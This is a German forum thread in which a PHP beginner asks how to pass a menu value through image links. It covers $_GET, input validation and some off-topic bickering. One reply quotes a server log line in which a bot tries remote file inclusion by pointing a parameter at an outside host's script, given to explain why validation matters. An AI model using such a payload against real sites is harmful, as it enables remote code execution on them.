Jones: Wie mach ich das am besten

Ich habe ein nettes kleines PHP script geschrieben mit ein paar Bildern als Menüpunkten. Weil ich noch nicht so lange mit php unterwegs bin würde ich jetzt gerne mal fragen, wenn ich über diese Bilder den wert eine Variable nennen wir sie mal $mode an den Server schicken will und die Seite neu laden will, wie mache ich das dann am besten. Soll ich da jedes Bild in ein Form basteln, das dann ein verstecktes Input postet oder geht das einfacher mit Javascript, oder kann man das vielleicht sogar mit html am leichtesten machen, so von wegen "ULR: ...php?mode=bla"

  1. Ich habe ein nettes kleines PHP script geschrieben mit ein paar Bildern als Menüpunkten. Weil ich noch nicht so lange mit php unterwegs bin würde ich jetzt gerne mal fragen, wenn ich über diese Bilder den wert eine Variable nennen wir sie mal $mode an den Server schicken will und die Seite neu laden will, wie mache ich das dann am besten. Soll ich da jedes Bild in ein Form basteln, das dann ein verstecktes Input postet oder geht das einfacher mit Javascript, oder kann man das vielleicht sogar mit html am leichtesten machen, so von wegen "ULR: ...php?mode=bla"

    »»

    Es geht eigentlich beides,

    einmal (wenn du Formen benutzt) liest Werte aus deiner Form.

    In anderem Fall liest du Werte aus deinem URL-String, d.h. wenn hinter dem Bild einen Link hast ...php?mode=bla kannst du auch diesen Wert ablesen mit "$mode = $_GET['mode'];"

    Es gibt in beiden Fällen Nachteile und Vorteile.

    1. hallo,

      einmal (wenn du Formen benutzt) liest Werte aus deiner Form.

      "Formen" gibts im Sandkasten auf dem Kinderspielplatz. In HTML gibt es _Formulare_, die man aber nicht immerzu braucht, speziell hier im angefragten Fall vermutlich nicht.

      In anderem Fall liest du Werte aus deinem URL-String, d.h. wenn hinter dem Bild einen Link hast ...php?mode=bla kannst du auch diesen Wert ablesen mit "$mode = $_GET['mode'];"

      Was zwar nicht ganz falsch ist, in dieser Form aber etliche Sicherheitslücken aufreißen dürfte.

      Es gibt in beiden Fällen Nachteile und Vorteile.

      Stimmt. Wer im Sandkasten mit Förmchen spielt, hat den Nachteil, daß sein Rechner darauf in der Regel nicht reagiert. Wer am Rechner mit Formularen experimentiert, hat den Nachteil, daß sich im Sandkasten nix tut ;-(

      Grüße aus Berlin

      Christoph S.

      --
      Visitenkarte
      ss:| zu:) ls:& fo:) va:) sh:| rl:|
      1. In anderem Fall liest du Werte aus deinem URL-String, d.h. wenn hinter dem Bild einen Link hast ...php?mode=bla kannst du auch diesen Wert ablesen mit "$mode = $_GET['mode'];"

        Was zwar nicht ganz falsch ist, in dieser Form aber etliche Sicherheitslücken aufreißen dürfte.

        Erstmal, verzeih einen Ausländer und dass es statt Formular das Wort Form benutzt hatte. Und wenn du schon schreibst, dass man lieber $_GET[] nicht benutzen sollte, könntest du gleich eine Alternative vorschlagen :) Ist nicht böse gemeint

        Tim(ur)

        1. hallo Tim(ur),

          Erstmal, verzeih einen Ausländer und dass es statt Formular das Wort Form benutzt hatte.

          Mir war das nicht ganz klar, was deine Muttersprache ist. Wenn ich es nun weiß, fällt das Verzeihen aber nicht schwer, und ich brauche keinen "bissigen Kommentar" zu schreiben.

          Und wenn du schon schreibst, dass man lieber $_GET[] nicht benutzen sollte, könntest du gleich eine Alternative vorschlagen :)

          Schau dir einfach mal an, welche vordefinierten Variablen es gibt. Natürlich gibt es auch Einsatzgebiete für $_GET[], aber man sollte _niemals_ einen auf diese Weise übergebenen Wert so einfach in eine Variable des eigenen Scripts übernehmen. Der Grund: es gibt eine Menge "bots" im Internet, die wahllos versuchen, an gefundene PHP-Scripts Parameter anzuhängen. Ich finde zum Beispiel in meinen logs jede Menge Einträge der Art:
          216.32.86.218 - - [23/Oct/2007:22:39:04 +0200] "GET /index.php?textfield=http://r0x00k.exofire.net/id.txt? HTTP/1.1" 200 2068 "-" "libwww-perl/5.808"
          Hier hat jemand versucht, an "GET" den Aufruf eines "bösen" Scripts anzuhängen. Wenn ich das nun ganz einfach in "meine" Variable übernommen hätte, wäre dieses Script möglicherweise ausgeführt worden und hätte ein paar hundert andere Leute geärgert - ohne daß _ich_ davon was mitbekommen hätte.

          Du kannst aber nun prüfen, welche Dinge in dem mit GET oder POST übergebenen String stehen dürfen. Wenn da irgendwas drinsteht, was du nicht willst (und das ist leider sehr häufig der Fall), kannst du festlegen, daß dein Script ganz einfach gar nichts tut. Nur wenn das drinsteht, was dein Script als "zulässig" wertet, solltest du die übergebenen Zeichen auch in deine Variable übernehmen.

          Leider hat sich diese Vorgehensweise bisher noch nicht überall durchgesetzt, was zur Wirksamkeit einiger aktueller "bots" (in der Regel Spam, es gibt aber auch schlimmere) entscheidend beiträgt. Ich habe pro Tag deutlich über hundert solcher "verbotener" Zugriffe. Die kriegen zwar eine ganz freundlich klingende Servermeldung 200 zurück, aber passiert ist trotzdem nix.

          Ist nicht böse gemeint

          Ist auch nicht so angekommen.

          Grüße aus Berlin

          Christoph S.

          --
          Visitenkarte
          ss:| zu:) ls:& fo:) va:) sh:| rl:|
          1. Hey Christoph,

            Erstmal, verzeih einen Ausländer und dass es statt Formular das Wort Form benutzt hatte.
            Mir war das nicht ganz klar, was deine Muttersprache ist. Wenn ich es nun weiß, fällt das Verzeihen aber nicht schwer, und ich brauche keinen "bissigen Kommentar" zu schreiben.

            Ich sehe hier nichts, was Du zu verzeihen gehabt hättest, vielmehr wäre meines Erachtens eine Entschuldigung Deinerseits dafür angebracht gewesen, dass Du mit Deiner Mäkelei mal wieder weit über's Ziel hinausgeschossen bist.

            Siechfred

            --
            Wir vom Moderatorenteam haben keinerlei Humor, von dem wir wüssten.
            1. .. dass Du mit Deiner Mäkelei mal wieder weit über's Ziel hinausgeschossen bist.

              was heißt denn wieder?! :)

              Maaaaaaan, seid ihr komisch. ENTSCHULDIGUNG :)

              1. .. dass Du mit Deiner Mäkelei mal wieder weit über's Ziel hinausgeschossen bist.
                was heißt denn wieder?! :)
                Maaaaaaan, seid ihr komisch. ENTSCHULDIGUNG :)

                Jesses, nicht DU musst Dich entschuldigen, sondern Christoph sollte das tun!

                Siechfred

                --
                Wir vom Moderatorenteam haben keinerlei Humor, von dem wir wüssten.
                1. Mahlzeit,

                  Entschuldigung (*)

                  MfG,
                  EKKi

                  (*) ..., dass ich diesen Thread bis hierhin gelesen habe.

                  --
                  sh:( fo:| ch:? rl:( br:> n4:~ ie:% mo:} va:) de:] zu:) fl:{ ss:) ls:& js:|
            2. hallo Siechfred,

              Ich sehe hier nichts, was Du zu verzeihen gehabt hättest

              Dann liest du nicht richtig. Ich bin wörtlich darum gebeten worden. Und ich bin dieser Bitte nachgekommen.

              Grüße aus Berlin

              Christoph S.

              --
              Visitenkarte
              ss:| zu:) ls:& fo:) va:) sh:| rl:|
      2. Hi Christoph,

        In anderem Fall liest du Werte aus deinem URL-String, d.h. wenn hinter dem Bild einen Link hast ...php?mode=bla kannst du auch diesen Wert ablesen mit "$mode = $_GET['mode'];"

        Was zwar nicht ganz falsch ist, in dieser Form aber etliche Sicherheitslücken aufreißen dürfte.

        das kannst du zu diesem Zeitpunkt doch noch gar nicht wissen. Es kommt darauf an, ob der Inhalt der Variablen jemals in einen Kontext gebracht wird, in dem er speziell zu behandeln ist (HTML, Datenbank, usw.). Wenn du der Meinung bist hier einen solchen Fall erkannt zu haben, wäre es m.E. auch nicht verkehrt, wenn du das erklären würdest. Danke.

        Gruß,
        Andreas.